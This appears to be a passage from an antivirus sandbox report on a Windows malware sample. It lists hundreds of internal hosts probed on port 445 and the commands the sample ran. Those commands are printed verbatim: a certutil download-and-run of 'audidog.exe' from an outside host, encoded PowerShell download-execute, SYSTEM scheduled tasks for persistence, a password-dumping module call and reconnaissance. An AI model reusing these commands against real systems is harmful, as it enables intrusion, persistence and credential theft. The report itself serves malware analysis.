'<LOCALNET>.1.39':445
'<LOCALNET>.1.40':445
'<LOCALNET>.1.41':445
'<LOCALNET>.1.43':445
'<LOCALNET>.1.55':445
'<LOCALNET>.61.226':445
'<LOCALNET>.61.213':445
'<LOCALNET>.61.156':445
'<LOCALNET>.61.157':445
'<LOCALNET>.61.158':445
'<LOCALNET>.61.159':445
'<LOCALNET>.61.160':445
'<LOCALNET>.61.161':445
'<LOCALNET>.61.162':445
'<LOCALNET>.61.163':445
'<LOCALNET>.61.164':445
'<LOCALNET>.61.166':445
'<LOCALNET>.61.176':445
'<LOCALNET>.61.167':445
'<LOCALNET>.61.168':445
'<LOCALNET>.61.169':445
'<LOCALNET>.61.170':445
'<LOCALNET>.61.171':445
'<LOCALNET>.61.172':445
'<LOCALNET>.61.173':445
'<LOCALNET>.61.174':445
'<LOCALNET>.61.175':445
'<LOCALNET>.61.155':445
'<LOCALNET>.61.165':445
'<LOCALNET>.61.154':445
'<LOCALNET>.61.141':445
'<LOCALNET>.61.132':445
'<LOCALNET>.61.133':445
'<LOCALNET>.61.134':445
'<LOCALNET>.61.135':445
'<LOCALNET>.61.136':445
'<LOCALNET>.61.137':445
'<LOCALNET>.61.138':445
'<LOCALNET>.61.139':445
'<LOCALNET>.61.140':445
'<LOCALNET>.61.142':445
'<LOCALNET>.61.152':445
'<LOCALNET>.61.143':445
'<LOCALNET>.61.144':445
'<LOCALNET>.61.145':445
'<LOCALNET>.61.146':445
'<LOCALNET>.61.147':445
'<LOCALNET>.61.148':445
'<LOCALNET>.61.149':445
'<LOCALNET>.61.150':445
'<LOCALNET>.61.151':445
'<LOCALNET>.61.153':445
'<LOCALNET>.61.190':445
'<LOCALNET>.61.224':445
'<LOCALNET>.61.179':445
'<LOCALNET>.61.204':445
'<LOCALNET>.61.205':445
'<LOCALNET>.61.206':445
'<LOCALNET>.61.207':445
'<LOCALNET>.61.208':445
'<LOCALNET>.61.209':445
'<LOCALNET>.61.210':445
'<LOCALNET>.61.211':445
'<LOCALNET>.61.212':445
'<LOCALNET>.61.214':445
'<LOCALNET>.61.178':445
'<LOCALNET>.61.215':445
'<LOCALNET>.61.216':445
'<LOCALNET>.61.217':445
'<LOCALNET>.61.218':445
'<LOCALNET>.61.219':445
'<LOCALNET>.61.220':445
'<LOCALNET>.61.221':445
'<LOCALNET>.61.222':445
'<LOCALNET>.61.223':445
'<LOCALNET>.61.203':445
'<LOCALNET>.61.225':445
'<LOCALNET>.61.202':445
'<LOCALNET>.61.189':445
'<LOCALNET>.61.180':445
'<LOCALNET>.61.181':445
'<LOCALNET>.61.182':445
'<LOCALNET>.61.183':445
'<LOCALNET>.61.184':445
'<LOCALNET>.61.185':445
'<LOCALNET>.61.186':445
'<LOCALNET>.61.187':445
'<LOCALNET>.61.188':445
'<LOCALNET>.61.177':445
'<LOCALNET>.61.200':445
'<LOCALNET>.61.191':445
'<LOCALNET>.61.192':445
'<LOCALNET>.61.193':445
'<LOCALNET>.61.194':445
'<LOCALNET>.61.195':445
'<LOCALNET>.61.196':445
'<LOCALNET>.61.197':445
'<LOCALNET>.61.198':445
'<LOCALNET>.61.199':445
'<LOCALNET>.61.201':445
'<LOCALNET>.1.128':445
'<LOCALNET>.2.4':445
'<LOCALNET>.1.69':445
'<LOCALNET>.1.190':445
'<LOCALNET>.1.191':445
'<LOCALNET>.1.192':445
'<LOCALNET>.1.193':445
'<LOCALNET>.1.194':445
'<LOCALNET>.1.195':445
'<LOCALNET>.1.196':445
'<LOCALNET>.1.197':445
'<LOCALNET>.1.198':445
'<LOCALNET>.1.200':445
'<LOCALNET>.1.210':445
'<LOCALNET>.1.201':445
'<LOCALNET>.1.202':445
'<LOCALNET>.1.203':445
'<LOCALNET>.1.204':445
'<LOCALNET>.1.205':445
'<LOCALNET>.1.206':445
'<LOCALNET>.1.207':445
'<LOCALNET>.1.208':445
'<LOCALNET>.1.209':445
'<LOCALNET>.1.189':445
'<LOCALNET>.1.199':445
'<LOCALNET>.1.188':445
'<LOCALNET>.1.175':445
'<LOCALNET>.1.166':445
'<LOCALNET>.1.167':445
'<LOCALNET>.1.168':445
'<LOCALNET>.1.169':445
'<LOCALNET>.1.170':445
'<LOCALNET>.1.171':445
'<LOCALNET>.1.172':445
'<LOCALNET>.1.173':445
'<LOCALNET>.1.174':445
'<LOCALNET>.1.176':445
'<LOCALNET>.1.186':445
'<LOCALNET>.1.177':445
'<LOCALNET>.1.178':445
'<LOCALNET>.1.179':445
'<LOCALNET>.1.180':445
'<LOCALNET>.1.181':445
'<LOCALNET>.1.182':445
'<LOCALNET>.1.183':445
'<LOCALNET>.1.184':445
'<LOCALNET>.1.185':445
'<LOCALNET>.1.187':445
'<LOCALNET>.1.224':445
'<LOCALNET>.1.67':445
'<LOCALNET>.1.213':445
'<LOCALNET>.1.238':445
'<LOCALNET>.1.239':445
'<LOCALNET>.1.240':445
'<LOCALNET>.1.241':445
'<LOCALNET>.1.242':445
'<LOCALNET>.1.243':445
'<LOCALNET>.1.244':445
'<LOCALNET>.1.245':445
'<LOCALNET>.1.246':445
'<LOCALNET>.1.248':445
'<LOCALNET>.1.212':445
'<LOCALNET>.1.249':445
'<LOCALNET>.1.250':445
'<LOCALNET>.1.251':445
'<LOCALNET>.1.252':445
'<LOCALNET>.1.253':445
'<LOCALNET>.1.254':445
'<LOCALNET>.2.1':445
'<LOCALNET>.2.2':445
'<LOCALNET>.2.3':445
'<LOCALNET>.1.237':445
'<LOCALNET>.1.165':445
'<LOCALNET>.1.236':445
'<LOCALNET>.1.223':445
'<LOCALNET>.1.214':445
'<LOCALNET>.1.215':445
'<LOCALNET>.1.216':445
'<LOCALNET>.1.217':445
'<LOCALNET>.1.218':445
'<LOCALNET>.1.219':445
'<LOCALNET>.1.220':445
'<LOCALNET>.1.221':445
'<LOCALNET>.1.222':445
'<LOCALNET>.1.211':445
'<LOCALNET>.1.234':445
'<LOCALNET>.1.225':445
'<LOCALNET>.1.226':445
'<LOCALNET>.1.227':445
'<LOCALNET>.1.228':445
'<LOCALNET>.1.229':445
'<LOCALNET>.1.230':445
'<LOCALNET>.1.231':445
'<LOCALNET>.1.232':445
'<LOCALNET>.1.233':445
'<LOCALNET>.1.235':445
'<LOCALNET>.61.131':445
'<LOCALNET>.1.164':445
'<LOCALNET>.1.151':445
'<LOCALNET>.1.94':445
'<LOCALNET>.1.95':445
'<LOCALNET>.1.96':445
'<LOCALNET>.1.97':445
'<LOCALNET>.1.98':445
'<LOCALNET>.1.99':445
'<LOCALNET>.1.100':445
'<LOCALNET>.1.101':445
'<LOCALNET>.1.102':445
'<LOCALNET>.1.104':445
'<LOCALNET>.1.114':445
'<LOCALNET>.1.105':445
'<LOCALNET>.1.106':445
'<LOCALNET>.1.107':445
'<LOCALNET>.1.108':445
'<LOCALNET>.1.109':445
'<LOCALNET>.1.110':445
'<LOCALNET>.1.111':445
'<LOCALNET>.1.112':445
'<LOCALNET>.1.113':445
'<LOCALNET>.1.93':445
'<LOCALNET>.1.103':445
'<LOCALNET>.1.92':445
'<LOCALNET>.1.79':445
'<LOCALNET>.1.70':445
'<LOCALNET>.1.71':445
'<LOCALNET>.1.72':445
'<LOCALNET>.1.73':445
'<LOCALNET>.1.74':445
'<LOCALNET>.1.75':445
'<LOCALNET>.1.76':445
'<LOCALNET>.1.77':445
'<LOCALNET>.1.78':445
'<LOCALNET>.1.80':445
'<LOCALNET>.1.90':445
'<LOCALNET>.1.81':445
'<LOCALNET>.1.82':445
'<LOCALNET>.1.83':445
'<LOCALNET>.1.84':445
'<LOCALNET>.1.85':445
'<LOCALNET>.1.86':445
'<LOCALNET>.1.87':445
'<LOCALNET>.1.88':445
'<LOCALNET>.1.89':445
'<LOCALNET>.1.91':445
'<LOCALNET>.1.68':445
'<LOCALNET>.1.162':445
'<LOCALNET>.1.117':445
'<LOCALNET>.1.142':445
'<LOCALNET>.1.143':445
'<LOCALNET>.1.144':445
'<LOCALNET>.1.145':445
'<LOCALNET>.1.146':445
'<LOCALNET>.1.147':445
'<LOCALNET>.1.148':445
'<LOCALNET>.1.149':445
'<LOCALNET>.1.150':445
'<LOCALNET>.1.152':445
'<LOCALNET>.1.116':445
'<LOCALNET>.1.153':445
'<LOCALNET>.1.154':445
'<LOCALNET>.1.155':445
'<LOCALNET>.1.156':445
'<LOCALNET>.1.157':445
'<LOCALNET>.1.158':445
'<LOCALNET>.1.159':445
'<LOCALNET>.1.160':445
'<LOCALNET>.1.161':445
'<LOCALNET>.1.141':445
'<LOCALNET>.1.163':445
'<LOCALNET>.1.140':445
'<LOCALNET>.1.127':445
'<LOCALNET>.1.118':445
'<LOCALNET>.1.119':445
'<LOCALNET>.1.120':445
'<LOCALNET>.1.121':445
'<LOCALNET>.1.122':445
'<LOCALNET>.1.123':445
'<LOCALNET>.1.124':445
'<LOCALNET>.1.125':445
'<LOCALNET>.1.126':445
'<LOCALNET>.1.115':445
'<LOCALNET>.1.138':445
'<LOCALNET>.1.129':445
'<LOCALNET>.1.130':445
'<LOCALNET>.1.131':445
'<LOCALNET>.1.132':445
'<LOCALNET>.1.133':445
'<LOCALNET>.1.134':445
'<LOCALNET>.1.135':445
'<LOCALNET>.1.136':445
'<LOCALNET>.1.137':445
'<LOCALNET>.1.139':445
'<LOCALNET>.1.247':445
'<LOCALNET>.61.130':445
'<LOCALNET>.61.117':445
'<LOCALNET>.0.122':445
'<LOCALNET>.0.123':445
'<LOCALNET>.0.124':445
'<LOCALNET>.0.125':445
'<LOCALNET>.0.126':445
'<LOCALNET>.0.127':445
'<LOCALNET>.0.128':445
'<LOCALNET>.0.129':445
'<LOCALNET>.0.130':445
'<LOCALNET>.0.132':445
'<LOCALNET>.0.142':445
'<LOCALNET>.0.133':445
'<LOCALNET>.0.134':445
'<LOCALNET>.0.135':445
'<LOCALNET>.0.136':445
'<LOCALNET>.0.137':445
'<LOCALNET>.0.138':445
'<LOCALNET>.0.139':445
'<LOCALNET>.0.140':445
'<LOCALNET>.0.141':445
'<LOCALNET>.0.121':445
'<LOCALNET>.0.131':445
'<LOCALNET>.0.120':445
'<LOCALNET>.0.107':445
'<LOCALNET>.0.98':445
'<LOCALNET>.0.99':445
'<LOCALNET>.0.100':445
'<LOCALNET>.0.101':445
'<LOCALNET>.0.102':445
'<LOCALNET>.0.103':445
'<LOCALNET>.0.104':445
'<LOCALNET>.0.105':445
'<LOCALNET>.0.106':445
'<LOCALNET>.0.108':445
'<LOCALNET>.0.118':445
'<LOCALNET>.0.109':445
'<LOCALNET>.0.110':445
'<LOCALNET>.0.111':445
'<LOCALNET>.0.112':445
'<LOCALNET>.0.113':445
'<LOCALNET>.0.114':445
'<LOCALNET>.0.115':445
'<LOCALNET>.0.116':445
'<LOCALNET>.0.117':445
'<LOCALNET>.0.119':445
'<LOCALNET>.0.156':445
'<LOCALNET>.0.190':445
'<LOCALNET>.0.145':445
'<LOCALNET>.0.170':445
'<LOCALNET>.0.171':445
'<LOCALNET>.0.172':445
'<LOCALNET>.0.173':445
'<LOCALNET>.0.174':445
'<LOCALNET>.0.175':445
'<LOCALNET>.0.176':445
'<LOCALNET>.0.177':445
'<LOCALNET>.0.178':445
'<LOCALNET>.0.180':445
'<LOCALNET>.0.144':445
'<LOCALNET>.0.181':445
'<LOCALNET>.0.182':445
'<LOCALNET>.0.183':445
'<LOCALNET>.0.184':445
'<LOCALNET>.0.185':445
'<LOCALNET>.0.186':445
'<LOCALNET>.0.187':445
'<LOCALNET>.0.188':445
'<LOCALNET>.0.189':445
'<LOCALNET>.0.169':445
'<LOCALNET>.0.97':445
'<LOCALNET>.0.168':445
'<LOCALNET>.0.155':445
'<LOCALNET>.0.146':445
'<LOCALNET>.0.147':445
'<LOCALNET>.0.148':445
'<LOCALNET>.0.149':445
'<LOCALNET>.0.150':445
'<LOCALNET>.0.151':445
'<LOCALNET>.0.152':445
'<LOCALNET>.0.153':445
'<LOCALNET>.0.154':445
'<LOCALNET>.0.143':445
'<LOCALNET>.0.166':445
'<LOCALNET>.0.157':445
'<LOCALNET>.0.158':445
'<LOCALNET>.0.159':445
'<LOCALNET>.0.160':445
'<LOCALNET>.0.161':445
'<LOCALNET>.0.162':445
'<LOCALNET>.0.163':445
'<LOCALNET>.0.164':445
'<LOCALNET>.0.165':445
'<LOCALNET>.0.167':445
'<LOCALNET>.0.179':445
'<LOCALNET>.0.96':445
'<LOCALNET>.0.83':445
'<LOCALNET>.0.26':445
'<LOCALNET>.0.27':445
'<LOCALNET>.0.28':445
'<LOCALNET>.0.29':445
'<LOCALNET>.0.30':445
'<LOCALNET>.0.32':445
'<LOCALNET>.0.31':445
'<LOCALNET>.0.33':445
'<LOCALNET>.0.34':445
'<LOCALNET>.0.36':445
'<LOCALNET>.0.46':445
'<LOCALNET>.0.37':445
'<LOCALNET>.0.38':445
'<LOCALNET>.0.39':445
'<LOCALNET>.0.40':445
'<LOCALNET>.0.41':445
'<LOCALNET>.0.42':445
'<LOCALNET>.0.43':445
'<LOCALNET>.0.44':445
'<LOCALNET>.0.45':445
'<LOCALNET>.0.25':445
'<LOCALNET>.0.35':445
'<LOCALNET>.0.24':445
'<LOCALNET>.0.11':445
'<LOCALNET>.0.2':445
'<LOCALNET>.0.3':445
'<LOCALNET>.0.4':445
'<LOCALNET>.0.5':445
'<LOCALNET>.0.6':445
'<LOCALNET>.0.7':445
'<LOCALNET>.0.8':445
'<LOCALNET>.0.9':445
'<LOCALNET>.0.10':445
'<LOCALNET>.0.12':445
'<LOCALNET>.0.22':445
'<LOCALNET>.0.13':445
'<LOCALNET>.0.14':445
'<LOCALNET>.0.15':445
'<LOCALNET>.0.16':445
'<LOCALNET>.0.17':445
'<LOCALNET>.0.18':445
'<LOCALNET>.0.19':445
'<LOCALNET>.0.20':445
'<LOCALNET>.0.21':445
'<LOCALNET>.0.23':445
'<LOCALNET>.0.60':445
'<LOCALNET>.0.94':445
'<LOCALNET>.0.49':445
'<LOCALNET>.0.74':445
'<LOCALNET>.0.75':445
'<LOCALNET>.0.76':445
'<LOCALNET>.0.77':445
'<LOCALNET>.0.78':445
'<LOCALNET>.0.79':445
'<LOCALNET>.0.80':445
'<LOCALNET>.0.81':445
'<LOCALNET>.0.82':445
'<LOCALNET>.0.84':445
'<LOCALNET>.0.48':445
'<LOCALNET>.0.85':445
'<LOCALNET>.0.86':445
'<LOCALNET>.0.87':445
'<LOCALNET>.0.88':445
'<LOCALNET>.0.89':445
'<LOCALNET>.0.90':445
'<LOCALNET>.0.91':445
'<LOCALNET>.0.92':445
'<LOCALNET>.0.93':445
'<LOCALNET>.0.73':445
'<LOCALNET>.0.95':445
'<LOCALNET>.0.72':445
'<LOCALNET>.0.59':445
'<LOCALNET>.0.50':445
'<LOCALNET>.0.51':445
'<LOCALNET>.0.52':445
'<LOCALNET>.0.53':445
'<LOCALNET>.0.54':445
'<LOCALNET>.0.55':445
'<LOCALNET>.0.56':445
'<LOCALNET>.0.57':445
'<LOCALNET>.0.58':445
'<LOCALNET>.0.47':445
'<LOCALNET>.0.70':445
'<LOCALNET>.0.61':445
'<LOCALNET>.0.62':445
'<LOCALNET>.0.63':445
'<LOCALNET>.0.64':445
'<LOCALNET>.0.65':445
'<LOCALNET>.0.66':445
'<LOCALNET>.0.67':445
'<LOCALNET>.0.68':445
'<LOCALNET>.0.69':445
'<LOCALNET>.0.71':445
'<LOCALNET>.0.252':445
'<LOCALNET>.61.128':445
'<LOCALNET>.0.193':445
'<LOCALNET>.61.60':445
'<LOCALNET>.61.61':445
'<LOCALNET>.61.62':445
'<LOCALNET>.61.63':445
'<LOCALNET>.61.64':445
'<LOCALNET>.61.65':445
'<LOCALNET>.61.66':445
'<LOCALNET>.61.67':445
'<LOCALNET>.61.68':445
'<LOCALNET>.61.70':445
'<LOCALNET>.61.80':445
'<LOCALNET>.61.71':445
'<LOCALNET>.61.72':445
'<LOCALNET>.61.73':445
'<LOCALNET>.61.74':445
'<LOCALNET>.61.75':445
'<LOCALNET>.61.76':445
'<LOCALNET>.61.77':445
'<LOCALNET>.61.78':445
'<LOCALNET>.61.79':445
'<LOCALNET>.61.59':445
'<LOCALNET>.61.69':445
'<LOCALNET>.61.58':445
'<LOCALNET>.61.45':445
'<LOCALNET>.61.36':445
'<LOCALNET>.61.37':445
'<LOCALNET>.61.38':445
'<LOCALNET>.61.39':445
'<LOCALNET>.61.40':445
'<LOCALNET>.61.41':445
'<LOCALNET>.61.42':445
'<LOCALNET>.61.43':445
'<LOCALNET>.61.44':445
'<LOCALNET>.61.46':445
'<LOCALNET>.61.56':445
'<LOCALNET>.61.47':445
'<LOCALNET>.61.48':445
'<LOCALNET>.61.49':445
'<LOCALNET>.61.50':445
'<LOCALNET>.61.51':445
'<LOCALNET>.61.52':445
'<LOCALNET>.61.53':445
'<LOCALNET>.61.54':445
'<LOCALNET>.61.55':445
'<LOCALNET>.61.57':445
'<LOCALNET>.61.94':445
'<LOCALNET>.0.192':445
'<LOCALNET>.61.83':445
'<LOCALNET>.61.108':445
'<LOCALNET>.61.109':445
'<LOCALNET>.61.110':445
'<LOCALNET>.61.111':445
'<LOCALNET>.61.112':445
'<LOCALNET>.61.113':445
'<LOCALNET>.61.114':445
'<LOCALNET>.61.115':445
'<LOCALNET>.61.116':445
'<LOCALNET>.61.118':445
'<LOCALNET>.61.82':445
'<LOCALNET>.61.119':445
'<LOCALNET>.61.120':445
'<LOCALNET>.61.121':445
'<LOCALNET>.61.122':445
'<LOCALNET>.61.123':445
'<LOCALNET>.61.124':445
'<LOCALNET>.61.125':445
'<LOCALNET>.61.126':445
'<LOCALNET>.61.127':445
'<LOCALNET>.61.107':445
'<LOCALNET>.61.35':445
'<LOCALNET>.61.106':445
'<LOCALNET>.61.93':445
'<LOCALNET>.61.84':445
'<LOCALNET>.61.85':445
'<LOCALNET>.61.86':445
'<LOCALNET>.61.87':445
'<LOCALNET>.61.88':445
'<LOCALNET>.61.89':445
'<LOCALNET>.61.90':445
'<LOCALNET>.61.91':445
'<LOCALNET>.61.92':445
'<LOCALNET>.61.81':445
'<LOCALNET>.61.104':445
'<LOCALNET>.61.95':445
'<LOCALNET>.61.96':445
'<LOCALNET>.61.97':445
'<LOCALNET>.61.98':445
'<LOCALNET>.61.99':445
'<LOCALNET>.61.100':445
'<LOCALNET>.61.101':445
'<LOCALNET>.61.102':445
'<LOCALNET>.61.103':445
'<LOCALNET>.61.105':445
'<LOCALNET>.61.129':445
'<LOCALNET>.61.34':445
'<LOCALNET>.61.21':445
'<LOCALNET>.0.218':445
'<LOCALNET>.0.219':445
'<LOCALNET>.0.220':445
'<LOCALNET>.0.221':445
'<LOCALNET>.0.222':445
'<LOCALNET>.0.223':445
'<LOCALNET>.0.224':445
'<LOCALNET>.0.225':445
'<LOCALNET>.0.226':445
'<LOCALNET>.0.228':445
'<LOCALNET>.0.238':445
'<LOCALNET>.0.229':445
'<LOCALNET>.0.230':445
'<LOCALNET>.0.231':445
'<LOCALNET>.0.232':445
'<LOCALNET>.0.233':445
'<LOCALNET>.0.234':445
'<LOCALNET>.0.235':445
'<LOCALNET>.0.236':445
'<LOCALNET>.0.237':445
'<LOCALNET>.0.217':445
'<LOCALNET>.0.227':445
'<LOCALNET>.0.216':445
'<LOCALNET>.0.203':445
'<LOCALNET>.0.194':445
'<LOCALNET>.0.195':445
'<LOCALNET>.0.196':445
'<LOCALNET>.0.197':445
'<LOCALNET>.0.198':445
'<LOCALNET>.0.199':445
'<LOCALNET>.0.200':445
'<LOCALNET>.0.201':445
'<LOCALNET>.0.202':445
'<LOCALNET>.0.204':445
'<LOCALNET>.0.214':445
'<LOCALNET>.0.205':445
'<LOCALNET>.0.206':445
'<LOCALNET>.0.207':445
'<LOCALNET>.0.208':445
'<LOCALNET>.0.209':445
'<LOCALNET>.0.210':445
'<LOCALNET>.0.211':445
'<LOCALNET>.0.212':445
'<LOCALNET>.0.213':445
'<LOCALNET>.0.215':445
'<LOCALNET>.0.191':445
'<LOCALNET>.61.32':445
'<LOCALNET>.0.241':445
'<LOCALNET>.61.12':445
'<LOCALNET>.61.13':445
'<LOCALNET>.61.14':445
'<LOCALNET>.61.15':445
'<LOCALNET>.61.16':445
'<LOCALNET>.61.17':445
'<LOCALNET>.61.18':445
'<LOCALNET>.61.19':445
'<LOCALNET>.61.20':445
'<LOCALNET>.61.22':445
'<LOCALNET>.0.240':445
'<LOCALNET>.61.23':445
'<LOCALNET>.61.24':445
'<LOCALNET>.61.25':445
'<LOCALNET>.61.26':445
'<LOCALNET>.61.27':445
'<LOCALNET>.61.28':445
'<LOCALNET>.61.29':445
'<LOCALNET>.61.30':445
'<LOCALNET>.61.31':445
'<LOCALNET>.61.11':445
'<LOCALNET>.61.33':445
'<LOCALNET>.61.10':445
'<LOCALNET>.0.251':445
'<LOCALNET>.0.242':445
'<LOCALNET>.0.243':445
'<LOCALNET>.0.244':445
'<LOCALNET>.0.245':445
'<LOCALNET>.0.246':445
'<LOCALNET>.0.247':445
'<LOCALNET>.0.248':445
'<LOCALNET>.0.249':445
'<LOCALNET>.0.250':445
'<LOCALNET>.0.239':445
'<LOCALNET>.61.8':445
'<LOCALNET>.0.253':445
'<LOCALNET>.0.254':445
'<LOCALNET>.61.1':445
'<LOCALNET>.61.2':445
'<LOCALNET>.61.3':445
'<LOCALNET>.61.4':445
'<LOCALNET>.61.5':445
'<LOCALNET>.61.6':445
'<LOCALNET>.61.7':445
'<LOCALNET>.61.9':445
'<LOCALNET>.2.5':445

UDP

DNS ASK bi##.#rotopower.icu

Miscellaneous

Searches for the following windows

ClassName: '18467-41' WindowName: ''

Restarts the analyzed sample

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvA...
'%WINDIR%\syswow64\wbem\wmic.exe' ntdomain get domainname
'%WINDIR%\syswow64\cmd.exe' /c wmic ntdomain get domainname
'%WINDIR%\syswow64\cmd.exe' /c c:/windows/temp/audidog.exe
'%WINDIR%\syswow64\whoami.exe' /user
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -exec bypass "import-module %WINDIR%\temp\m.ps1;Invoke-Cats -pwds"
'%WINDIR%\syswow64\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn AutoDnsScan /tr "%WINDIR%\temp\audidog.exe"
'%WINDIR%\syswow64\ipconfig.exe' /all
'%WINDIR%\syswow64\schtasks.exe' /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn AutoFree /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBh...
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn AutoDnsScan /tr "%WINDIR%\temp\audidog.exe"
'%WINDIR%\syswow64\net1.exe' user
'%WINDIR%\syswow64\certutil.exe' -urlcache -split -f http://bing.protopower.icu/audidog.exe c:/windows/temp/audidog.exe
'%WINDIR%\syswow64\net.exe' user
'%WINDIR%\syswow64\cmd.exe' /c net user
'%WINDIR%\syswow64\cmd.exe' /c certutil -urlcache -split -f http://bing.protopower.icu/audidog.exe c:/windows/temp/audidog.exe&cmd /c c:/windows/temp/audidog.exe
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn AutoFree /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8A...
'%WINDIR%\syswow64\netstat.exe' -na

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial